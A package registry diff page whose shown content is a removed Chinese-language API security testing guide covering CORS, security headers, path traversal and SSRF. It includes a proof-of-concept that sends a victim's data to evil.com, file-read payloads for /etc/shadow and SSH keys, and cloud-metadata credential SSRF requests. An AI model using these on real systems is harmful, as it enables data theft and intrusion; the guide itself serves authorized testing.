opencode-api-security-testing 5.0.0 → 5.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (34) hide show
  1. package/SKILL.md +6 -0
  2. package/agents/api-cyber-supervisor.md +5 -3
  3. package/package.json +1 -1
  4. package/postinstall.mjs +181 -6
  5. package/src/index.ts +165 -0
  6. package/src/tools/endpoint-discover.ts +325 -0
  7. package/src/tools/report-generator.ts +355 -0
  8. package/src/utils/env-checker.ts +264 -0
  9. package/references/references/README.md +0 -72
  10. package/references/references/asset-discovery.md +0 -119
  11. package/references/references/fuzzing-patterns.md +0 -129
  12. package/references/references/graphql-guidance.md +0 -108
  13. package/references/references/intake.md +0 -84
  14. package/references/references/pua-agent.md +0 -192
  15. package/references/references/report-template.md +0 -156
  16. package/references/references/rest-guidance.md +0 -76
  17. package/references/references/severity-model.md +0 -76
  18. package/references/references/test-matrix.md +0 -86
  19. package/references/references/validation.md +0 -78
  20. package/references/references/vulnerabilities/01-sqli-tests.md +0 -1128
  21. package/references/references/vulnerabilities/02-user-enum-tests.md +0 -423
  22. package/references/references/vulnerabilities/03-jwt-tests.md +0 -499
  23. package/references/references/vulnerabilities/04-idor-tests.md +0 -362
  24. package/references/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
  25. package/references/references/vulnerabilities/06-biz-logic-tests.md +0 -501
  26. package/references/references/vulnerabilities/07-security-config-tests.md +0 -511
  27. package/references/references/vulnerabilities/08-brute-force-tests.md +0 -457
  28. package/references/references/vulnerabilities/09-vulnerability-chains.md +0 -465
  29. package/references/references/vulnerabilities/10-auth-tests.md +0 -537
  30. package/references/references/vulnerabilities/11-graphql-tests.md +0 -355
  31. package/references/references/vulnerabilities/12-ssrf-tests.md +0 -396
  32. package/references/references/vulnerabilities/README.md +0 -148
  33. package/references/references/workflows.md +0 -192
  34. package/src/src/index.ts +0 -535
@@ -1,511 +0,0 @@
1
- # 安全配置漏洞测试
2
-
3
- ## 1. 概述
4
-
5
- 安全配置漏洞包括 CORS 配置不当、安全响应头缺失、路径遍历等配置层面的安全问题。
6
-
7
- ## 2. CORS 配置测试
8
-
9
- ### 2.1 测试方法
10
-
11
- ```bash
12
- # 1. 检查 CORS 响应头
13
- GET /api/user/info
14
- Origin: http://evil.com
15
-
16
- # 检查响应
17
- Access-Control-Allow-Origin: *
18
- Access-Control-Allow-Credentials: true
19
- Access-Control-Allow-Methods: GET, POST, PUT, DELETE
20
- Access-Control-Allow-Headers: *
21
- ```
22
-
23
- ### 2.2 风险判断
24
-
25
- | 配置 | 风险等级 | 说明 |
26
- |------|----------|------|
27
- | `ACAO: *` + `ACAC: true` | 高 | 任何站点可获取用户数据 |
28
- | `ACAO: *` | 中 | 仅可获取公开数据 |
29
- | `ACAO: null` | 高 | 可能被绕过 |
30
- | `ACAO: <恶意域名>` + `ACAC: true` | **严重** | 动态反射任意Origin且带凭证 |
31
- | 具体域名(白名单) | 低 | 正常配置 |
32
-
33
- ### 2.3 动态Origin反射测试(重要!)
34
-
35
- **实测发现的漏洞模式**:
36
- ```python
37
- # 测试不同Origin的CORS响应
38
- origins = [
39
- "https://evil.com",
40
- "https://attacker.com",
41
- "https://console.ncszkpark.com",
42
- "null",
43
- ]
44
-
45
- for origin in origins:
46
- r = requests.get(api_url, headers={"Origin": origin})
47
- allow_origin = r.headers.get('Access-Control-Allow-Origin')
48
- allow_cred = r.headers.get('Access-Control-Allow-Credentials')
49
-
50
- print(f"Origin: {origin}")
51
- print(f" Allow-Origin: {allow_origin}")
52
- print(f" Allow-Credentials: {allow_cred}")
53
-
54
- # 严重漏洞:对任意Origin都信任且允许凭证
55
- if allow_origin == origin and allow_cred == 'true':
56
- print(f" [严重CORS漏洞] Origin={origin} 被信任!")
57
- ```
58
-
59
- **实际响应示例**:
60
- ```
61
- Origin: https://evil.com
62
- Allow-Origin: https://evil.com
63
- Allow-Credentials: true
64
- [严重CORS漏洞] Origin=https://evil.com 被信任!
65
-
66
- Origin: https://attacker.com
67
- Allow-Origin: https://attacker.com
68
- Allow-Credentials: true
69
- [严重CORS漏洞] Origin=https://attacker.com 被信任!
70
- ```
71
-
72
- **与传统 * 通配符的区别**:
73
- ```
74
- 传统漏洞: ACAO: * (静态配置)
75
- 新漏洞: ACAO: <动态反射> + ACAC: true (动态配置错误)
76
-
77
- 两种都危险,但动态反射更难检测:
78
- - 静态 * 容易被安全扫描发现
79
- - 动态反射每个域名都信任,容易被忽略
80
- ```
81
-
82
- ### 2.4 利用条件
83
-
84
- ```javascript
85
- // POC:利用 CORS 窃取用户数据
86
- <!DOCTYPE html>
87
- <html>
88
- <body>
89
- <script>
90
- fetch('http://api/user/info', {
91
- credentials: 'include'
92
- }).then(resp => resp.json())
93
- .then(data => {
94
- fetch('http://evil.com/steal', {
95
- method: 'POST',
96
- body: JSON.stringify(data)
97
- });
98
- });
99
- </script>
100
- </body>
101
- </html>
102
- ```
103
-
104
- ### 2.4 JSONP 利用
105
-
106
- ```bash
107
- # 检查 JSONP 端点
108
- GET /api/user/info?callback=alert
109
-
110
- # 如果响应
111
- alert({"userId": 1, "name": "admin"});
112
- ```
113
-
114
- ## 3. 安全响应头测试
115
-
116
- ### 3.1 必须存在的响应头
117
-
118
- | 响应头 | 作用 | 安全风险 |
119
- |--------|------|----------|
120
- | X-Frame-Options | 防止点击劫持 | iframe 嵌入 |
121
- | X-Content-Type-Options | 防止 MIME 嗅探 | 类型混淆 |
122
- | X-XSS-Protection | XSS 过滤器 | 反射型 XSS |
123
- | Content-Security-Policy | 内容安全策略 | XSS/注入 |
124
- | Strict-Transport-Security | 强制 HTTPS | 中间人攻击 |
125
- | Referrer-Policy | 引用来源控制 | 信息泄露 |
126
-
127
- ### 3.2 测试方法
128
-
129
- ```bash
130
- # 获取所有响应头
131
- curl -I http://api/
132
-
133
- # 检查每个响应头
134
- X-Frame-Options: DENY
135
- X-Content-Type-Options: nosniff
136
- X-XSS-Protection: 1; mode=block
137
- Content-Security-Policy: default-src 'self'
138
- Strict-Transport-Security: max-age=31536000
139
- Referrer-Policy: no-referrer
140
- ```
141
-
142
- ### 3.3 响应头安全值
143
-
144
- ```bash
145
- # X-Frame-Options
146
- X-Frame-Options: DENY # 完全禁止
147
- X-Frame-Options: SAMEORIGIN # 仅同源允许
148
-
149
- # X-Content-Type-Options
150
- X-Content-Type-Options: nosniff # 防止嗅探
151
-
152
- # Content-Security-Policy
153
- Content-Security-Policy: default-src 'self'; script-src 'self'
154
-
155
- # Strict-Transport-Security
156
- Strict-Transport-Security: max-age=31536000; includeSubDomains
157
- ```
158
-
159
- ## 4. 路径遍历测试
160
-
161
- ### 4.1 测试 Payload
162
-
163
- ```bash
164
- # 基础遍历
165
- /file?path=../../etc/passwd
166
- /file?path=../../../windows/system32/drivers/etc/hosts
167
-
168
- # URL 编码
169
- /file?path=..%2F..%2F..%2Fetc%2Fpasswd
170
- /file?path=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
171
-
172
- # 双编码
173
- /file?path=%252e%252e%252f%252e%252e%252fetc%252fpasswd
174
-
175
- # 空字节
176
- /file?path=../../etc/passwd%00.txt
177
-
178
- # 反斜杠(Windows)
179
- /file?path=..\..\..\windows\system32\config\sam
180
- ```
181
-
182
- ### 4.2 常见路径
183
-
184
- | 系统 | 文件 | 说明 |
185
- |------|------|------|
186
- | Linux | `/etc/passwd` | 用户列表 |
187
- | Linux | `/etc/shadow` | 密码哈希 |
188
- | Linux | `/root/.ssh/id_rsa` | SSH 私钥 |
189
- | Windows | `C:\Windows\System32\config\SAM` | 用户账户 |
190
- | Config | `/app/config.json` | 应用配置 |
191
- | Config | `/app/.env` | 环境变量 |
192
-
193
- ### 4.3 利用链
194
-
195
- ```bash
196
- # 1. 读取配置文件
197
- GET /file?path=../../app/config.json
198
-
199
- # 2. 获取数据库密码
200
- GET /file?path=../../etc/passwd
201
-
202
- # 3. SSH 私钥
203
- GET /file?path=../../root/.ssh/id_rsa
204
- ```
205
-
206
- ## 5. SSRF 测试
207
-
208
- ### 5.1 测试点
209
-
210
- ```bash
211
- # URL 参数
212
- GET /api/fetch?url=http://example.com
213
- GET /api/preview?url=https://internal.corp.local
214
-
215
- # 文件读取
216
- GET /api/load?file=http://evil.com/shell.php
217
-
218
- # 图片加载
219
- GET /api/image?url=http://internal.img/
220
- ```
221
-
222
- ### 5.2 SSRF Payload
223
-
224
- ```bash
225
- # 本地地址
226
- ?url=http://127.0.0.1:80
227
- ?url=http://localhost:8080
228
- ?url=http://0.0.0.0:22
229
-
230
- # 云元数据
231
- ?url=http://169.254.169.254/latest/meta-data/
232
- ?url=http://metadata.google.internal/computeMetadata/v1/
233
-
234
- # 内网地址
235
- ?url=http://192.168.1.1
236
- ?url=http://10.0.0.1
237
- ?url=http://172.16.0.1
238
- ```
239
-
240
- ### 5.3 利用
241
-
242
- ```bash
243
- # 读取云元数据
244
- GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
245
-
246
- # 内网端口扫描
247
- GET /api/fetch?url=http://192.168.1.1:22
248
-
249
- # 读取内部文件
250
- GET /api/fetch?url=file:///etc/passwd
251
- ```
252
-
253
- ## 6. 测试检查清单
254
-
255
- ```
256
- □ CORS 配置测试(ACAO + ACAC)
257
- □ JSONP 端点检测
258
- □ 安全响应头缺失检测
259
- □ 路径遍历测试(基础、编码、空字节)
260
- □ SSRF 测试(内网、元数据)
261
- □ 评估漏洞利用难度和影响
262
- ```
263
-
264
- ## 7. CORS误报判断标准
265
-
266
- ### 7.1 核心判断原则
267
-
268
- ```
269
- 【重要】CORS配置错误 ≠ 漏洞!
270
-
271
- 判断逻辑:
272
- 1. 先确认接口是否需要认证
273
- 2. 再确认返回数据是否为用户敏感信息
274
- 3. 最后判断CORS配置的实际风险
275
-
276
- 【真实CORS漏洞特征】
277
- - 需要认证的接口(如 /user/info, /order/list)
278
- - 返回用户私有数据(如手机号、地址、订单)
279
- - 攻击者可以诱导用户访问恶意页面获取数据
280
-
281
- 【CORS误报特征】
282
- - 公开接口(如 /news, /products)
283
- - 返回的数据本来就可以公开访问
284
- - 只是配置了ACAO:*但无ACAC
285
- ```
286
-
287
- ### 7.2 curl + 对比验证流程
288
-
289
- ```bash
290
- #!/bin/bash
291
- # CORS漏洞误报判断流程
292
-
293
- TARGET="http://api"
294
-
295
- echo "=== CORS误报判断 ==="
296
- echo ""
297
-
298
- # 1. 测试公开接口(应该配置CORS)
299
- echo "[1] 测试公开接口"
300
- curl -s -I -H "Origin: https://evil.com" "${TARGET}/public/news" | grep -iE "(access-control|content-type)"
301
- echo ""
302
-
303
- # 2. 测试需要认证的接口
304
- echo "[2] 测试需要认证的接口"
305
- curl -s -I -H "Origin: https://evil.com" "${TARGET}/user/info" | grep -iE "(access-control|content-type)"
306
- echo ""
307
-
308
- # 3. 检查CORS响应头
309
- check_cors() {
310
- local url=$1
311
- local name=$2
312
-
313
- echo "[$name] $url"
314
-
315
- # 预检请求
316
- OPTIONSResp=$(curl -s -I -X OPTIONS -H "Origin: https://evil.com" \
317
- -H "Access-Control-Request-Method: GET" \
318
- -H "Access-Control-Request-Headers: Authorization" \
319
- "$url")
320
-
321
- # GET请求
322
- GETResp=$(curl -s -I -H "Origin: https://evil.com" "$url")
323
-
324
- # 提取CORS头
325
- ACAO=$(echo "$GETResp" | grep -i "Access-Control-Allow-Origin:" | tr -d '\r' || echo "未设置")
326
- ACAC=$(echo "$GETResp" | grep -i "Access-Control-Allow-Credentials:" | tr -d '\r' || echo "未设置")
327
- ACAM=$(echo "$OPTIONSResp" | grep -i "Access-Control-Allow-Methods:" | tr -d '\r' || echo "未设置")
328
-
329
- echo " ACAO: $ACAO"
330
- echo " ACAC: $ACAC"
331
- echo " ACAM: $ACAM"
332
-
333
- # 风险判断
334
- if echo "$ACAO" | grep -q "https://evil.com\|*"; then
335
- if echo "$ACAC" | grep -q "true"; then
336
- echo " [高风险] 任意Origin允许携带凭证"
337
- else
338
- echo " [中风险] ACAO配置为*或反射Origin"
339
- fi
340
- fi
341
- echo ""
342
- }
343
-
344
- # 测试各种接口
345
- check_cors "${TARGET}/public/news" "公开接口"
346
- check_cors "${TARGET}/user/info" "用户信息接口"
347
- check_cors "${TARGET}/order/list" "订单接口"
348
- ```
349
-
350
- ### 7.3 多维度判断标准
351
-
352
- ```python
353
- import requests
354
-
355
- class CORSTester:
356
- """
357
- CORS漏洞误报判断
358
-
359
- 【判断矩阵】
360
- 配置 | 需要认证 | 公开数据 | 用户私有数据
361
- -----------------------|-------------|-------------|---------------
362
- ACAO:* + ACAC:false | 中风险 | 低风险 | 中风险
363
- ACAO:* + ACAC:true | 高风险 | 低风险 | 严重
364
- ACAO:反射 + ACAC:false | 中风险 | 低风险 | 中风险
365
- ACAO:反射 + ACAC:true | 严重 | 低风险 | 严重
366
- 白名单域名 | 低风险 | 低风险 | 低风险
367
- """
368
-
369
- def __init__(self, target):
370
- self.target = target
371
-
372
- def get_cors_headers(self, url, origin="https://evil.com"):
373
- """获取CORS响应头"""
374
- resp = requests.get(url, headers={"Origin": origin})
375
- return {
376
- 'status': resp.status_code,
377
- 'acao': resp.headers.get('Access-Control-Allow-Origin', ''),
378
- 'acac': resp.headers.get('Access-Control-Allow-Credentials', ''),
379
- 'acam': resp.headers.get('Access-Control-Allow-Methods', ''),
380
- 'acah': resp.headers.get('Access-Control-Allow-Headers', ''),
381
- 'body_preview': resp.text[:500]
382
- }
383
-
384
- def is_public_endpoint(self, url):
385
- """
386
- 判断接口是否公开
387
-
388
- 【判断标准】
389
- - URL包含 public, anonymous, open 等关键词
390
- - 不需要 Authorization header
391
- - 返回的数据不需要登录就能获取
392
- """
393
- public_keywords = ['public', 'anonymous', 'open', 'login', 'signup', 'register']
394
- return any(kw in url.lower() for kw in public_keywords)
395
-
396
- def check_auth_required(self, url):
397
- """检查接口是否需要认证"""
398
- resp = requests.get(url) # 无认证请求
399
- if resp.status_code == 401:
400
- return True # 需要认证
401
- if resp.status_code == 200:
402
- # 检查是否返回"请登录"等提示
403
- if any(kw in resp.text.lower() for kw in ['login', '请登录', '未授权', 'unauthorized']):
404
- return True
405
- return False
406
-
407
- def assess_cors_risk(self, url):
408
- """
409
- 评估CORS配置风险
410
-
411
- Returns:
412
- (is_vuln, severity, reason, details)
413
- """
414
- # 1. 获取CORS配置
415
- cors_info = self.get_cors_headers(url)
416
-
417
- # 2. 判断是否为公开接口
418
- is_public = self.is_public_endpoint(url)
419
-
420
- # 3. 判断是否需要认证
421
- needs_auth = self.check_auth_required(url)
422
-
423
- # 4. 风险评估
424
- acao = cors_info['acao']
425
- acac = cors_info['acac']
426
-
427
- # 无CORS头 → 安全
428
- if not acao:
429
- return False, "低", "未配置CORS", cors_info
430
-
431
- # ACAO:* 无 ACAC → 中风险(可被利用但无凭证)
432
- if acao == '*' and acac.lower() != 'true':
433
- if is_public:
434
- return False, "低", "公开接口配置ACAO:*但无凭证", cors_info
435
- else:
436
- return True, "中", "ACAO:*配置在高风险接口但无ACAC", cors_info
437
-
438
- # ACAO:* + ACAC:true → 严重
439
- if acao == '*' and acac.lower() == 'true':
440
- return True, "严重", "ACAO:* + ACAC:true,任意站点可获取用户凭证", cors_info
441
-
442
- # 反射Origin + ACAC:true → 严重
443
- if acao and acao != '*' and acac.lower() == 'true':
444
- return True, "严重", f"动态反射Origin({acao}) + ACAC:true", cors_info
445
-
446
- # 反射Origin(无条件)→ 需要进一步分析
447
- if acao and acao != '*':
448
- if needs_auth:
449
- return True, "高", f"反射Origin在需认证接口({acao})", cors_info
450
- else:
451
- return False, "中", f"反射Origin在公开接口({acao})", cors_info
452
-
453
- return False, "低", "CORS配置正常", cors_info
454
-
455
- # 使用示例
456
- if __name__ == "__main__":
457
- tester = CORSTester("http://api")
458
-
459
- test_urls = [
460
- "http://api/public/news",
461
- "http://api/user/info",
462
- "http://api/order/list",
463
- "http://api/admin/users"
464
- ]
465
-
466
- for url in test_urls:
467
- is_vuln, severity, reason, details = tester.assess_cors_risk(url)
468
-
469
- print(f"\n[{'VULN' if is_vuln else 'SAFE'}] {severity} - {url}")
470
- print(f" 原因: {reason}")
471
- print(f" 响应预览: {details['body_preview'][:200]}")
472
- ```
473
-
474
- ### 7.4 实战误报案例
475
-
476
- ```
477
- 【案例1:公开接口的CORS配置】
478
-
479
- 场景:/api/public/news 配置了 ACAO:*
480
-
481
- curl -I -H "Origin: https://evil.com" /api/public/news
482
- Access-Control-Allow-Origin: *
483
- Content-Type: application/json
484
-
485
- 判断:
486
- - 接口是否为公开接口?是(news)
487
- - 返回数据是否敏感?否(新闻公开)
488
- - 结论:【误报】无需修复
489
-
490
- ---
491
-
492
- 【案例2:用户接口的CORS配置】
493
-
494
- 场景:/api/user/info 配置了 ACAO:*
495
-
496
- curl -I -H "Origin: https://evil.com" /api/user/info
497
- Access-Control-Allow-Origin: *
498
- Access-Control-Allow-Credentials: true
499
- Content-Type: application/json
500
-
501
- 判断:
502
- - 接口是否为公开接口?否(用户信息)
503
- - 返回数据是否敏感?是(用户私有信息)
504
- - 结论:【确认漏洞】攻击者可诱导用户访问恶意页面获取用户信息
505
- ```
506
-
507
- | 发现的漏洞 | 关联漏洞 | 利用路径 |
508
- |------------|----------|----------|
509
- | CORS | CSRF、数据窃取 | 跨域获取用户数据 |
510
- | 路径遍历 | 配置泄露、密钥获取 | 读取敏感文件 |
511
- | SSRF | 内网渗透、云IAM | 访问内部服务 |